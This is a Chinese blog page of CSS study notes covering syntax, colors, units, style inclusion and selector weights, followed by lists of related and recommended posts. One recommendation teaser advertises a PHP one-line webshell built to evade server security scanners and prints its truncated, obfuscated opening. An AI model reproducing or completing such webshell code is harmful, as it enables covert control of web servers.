css的认知与样式
目录
1. 介绍css
2. CSS语法
3. CSS注释
4. CSS中的颜色值
5. CSS长度单位
6. html引入CSS的三种方法
6.1 行内样式(内联样式)
6.2 内嵌样式
6.3 外部样式
7 选择器
7.1 标签选择器
7.2 类选择器
7.3 ID选择器
7.4 通配所有元素
7.5 分组选择器
7.6 选择器的优先级
7.8选择器的权重
7.9 最⾼权重
7.10 css三⼤特性
7.10.1 层叠性
7.10.2 继承性
7.10.3 优先级
1. 介绍
2. CSS语法

3.css注释
/* */
快捷键ctrl +/

4.css的颜色值
4.1 用英文字母表示

4.2 用十六进制表示(0~f)
从1到9用数字 10到15用英文字母从a开始
用6位表示颜色

用3位表示颜色

4.3用rgb表示颜色(0~255)
r表示红色 g表示绿色 b表示蓝色

4.4 用rgba表示颜色
a表示 透明度 0 代表完全透明 1代表不透明 0.5 代表半透明
r表示红色 g表示绿色 b表示蓝色

5.css长度单位
5.1 像素单位px
宽为100px

5.2 百分比尺寸
宽为50% 占父元素的50% 以父元素为参照 没有父元素 就以祖先为参照

5,.3 em 倍数
宽为1倍 以父元素为参照

5.4 rem 根倍数
以html为参照 宽为1倍的HTML

6.css的引入方式
6.1 行内样式(内联样式)
行内样式权重最大

6.2 内嵌样式
把css样式写入style
此内嵌方式比行内样式权重低一些

6.3 外部样式
要先创建一个css文件 把样式写到css文件里面 然后用link进行外部引入
此引入的权重比内嵌样式低

6.4 引入的优先级
行内样式>内嵌样式>外部样式
实现就近原则
7.选择器
7.1 标签选择器
以标签名为开头的是标签选择器

7.2 类选择器
以.开头的是类选择器

7.3 ID选择器
以#开头的为ID选择器

7.4 通配所有元素
*是统配符 整个页面都可以使用 也是权重最低的

7.5 分组选择器
表示在同一个等级时可以用分组选择器
标签与标签之间用逗号隔开

7.6 选择器的优先级
行内> id选择器>类选择器>标签选择器>统配选择器
7.8选择器的权重
行内 权重为1000
id 选择器为100
类选择器伪类和属性选择器为10
标签选择器伪类和属性选择器为1
统配选择器为0
7.9 最⾼权重

7.10 css三⼤特性
7.10.1 层叠性
7.10.2 继承性
7.10.3 优先级
css的认知与样式的更多相关文章
- css input[type=file] 样式美化,input上传按钮美化
css input[type=file] 样式美化,input上传按钮美化 参考:http://www.haorooms.com/post/css_input_uploadmh
- web的各种前端打印方法之CSS控制网页打印样式
来源:http://www.jb51.net/web/70358.html CSS控制网页打印样式: 使用CSS控制打印样式,握刚刚使用时一塌糊涂,根本不知道CSS中的midia的作用是什么,问到别人 ...
- css布局&初始化&基准样式
学习css布局比较好的网站 学习css布局 1.css设置模块 typography(字体) colour(颜色) link(链接) forms(表单) layout(布局) navigation(导 ...
- css中的列表样式
在网页设计中,我们经常将某些具有相似功能的标签放在同一组中,这时我们经常会用到列表标签(无序列表ul,有序列表ol),在列表标签中对列表样式的设计可以使我们的页面得到一定程度的美化. 在css中对列表 ...
- css中的字体样式及元素样式
css中的字体样式一般包含有就9中,常见的有7种.这7种依次为: 1.字体样式:font-family: 2.字体大小:font-size: 3.字体加粗:font-weight: 4.字体斜体:fo ...
- css入门二-常用样式
css入门二-常用样式总结 基本标签样式 背景色background-color 高度height; 宽度width; 边框对齐以及详细设定举例 width/*宽度*/: 80%; height/*高 ...
- 【CSS学习】--- 字体样式
一.前言 CSS字体属性可以定义文本的字体系列.大小.加粗.颜色.风格(如斜体)和变形(如小型大写字母). CSS的字体属性: font-family 设置字体系列 font-size 设置字体的尺寸 ...
- 用css 添加手状样式,鼠标移上去变小手,变小手
用css 添加手状样式,鼠标移上去变小手,变小手 cursor:pointer; 用JS使鼠标变小手onmouseover(鼠标越过的时候) onmouseover="this.style. ...
- css清除浏览器默认样式
css清除浏览器默认样式(代替 *{}) 将代码放入 css 文件,使用 link 引入. /* v2.0 | 20110126 http://meyerweb.com/eric/tools/css/ ...
- 【CSS学习】--- 文本样式
一.前言 CSS文本属性可以定义文本的外观.通过文本属性,可以定义文本的颜色.字符间距,对齐文本,装饰文本,对文本进行缩进,等等. CSS常用的文本属性目录: text-align 文本对齐属性 te ...
随机推荐
- 脱发秘籍:前端Chrome调试技巧汇总
Chrome浏览器调试工具的核心功能: 注:本文测试.截图均为Edge浏览器(内核是Chromium),浏览器内核可了解<有哪些浏览器/内核?> 00.基础操作汇总 操作类型 快捷键/说明 ...
- 2023年最具威胁的25种安全漏洞(CWE TOP 25)
摘要: CWE Top 25 是通过分析美国国家漏洞数据库(NVD)中的公共漏洞数据来计算的,以获取前两个日历年 CWE 弱点的根本原因映射. 本文分享自华为云社区<2023年最具威胁的25种安 ...
- 基于java+springboot的视频点播网站-在线视频点播系统
该系统是基于java+springboot开发的视频点播系统.是给师妹开发的毕业设计. 演示地址 前台地址: http://video.gitapp.cn 后台地址: http://video.git ...
- 用git bash 生成 hexo 博客文件,报错node: command not found
有git bash,也安装了node.js, 为什么在bash里面会说node: command not found? 电脑有段时间不能上网,下载了360系统急救箱,删了很多文件,包括一些exe文件, ...
- 揭秘 .NET 中的 TimerQueue(上)
前言 TimerQueue 是.NET中实现定时任务的核心组件,它是一个定时任务的管理器,负责存储和调度定时任务.它被用于实现很多 .NET 中的定时任务,比如 System.Threading.Ti ...
- [CF 1780B] GCD Partition
B. GCD Partition 题意 : 给一个长度为n的序列, 并将其分成连续的k块(k > 1), 得到序列b, 使得 \(gcd(b_{1}, b_{2}, b_{3}, ..., b_ ...
- 显示Label标签
1 from PyQt5.QtWidgets import QApplication, QLabel, QWidget, QVBoxLayout 2 from PyQt5.QtCore import ...
- 解决:ValueError: Cannot mask with non-boolean array containing NA / NaN values
错误原因:这里就是说,分组这一列里面,包含了非字符串的内容,比如数字.因为 .str.contains 的使用就要求这个字段必须是字符串,不能掺杂数字的. 解决方案: # 包含对应关系的所有行 dat ...
- 分享一个过狗过D盾过宝塔的php一句话木马
<?php if(isset($_REQUEST['phpsessid'])){ class A { static $d; } class B extends A { } A::$d =base ...
- 如何提升 API-First 设计流程
一个 API-First 设计应该具有可复用性.互操作性.可修改性.用户友好性.安全性.高效性.务实性,并且重要的是,与组织目标保持一致.这些基本特征将确保 API 能够有效地为 API- First ...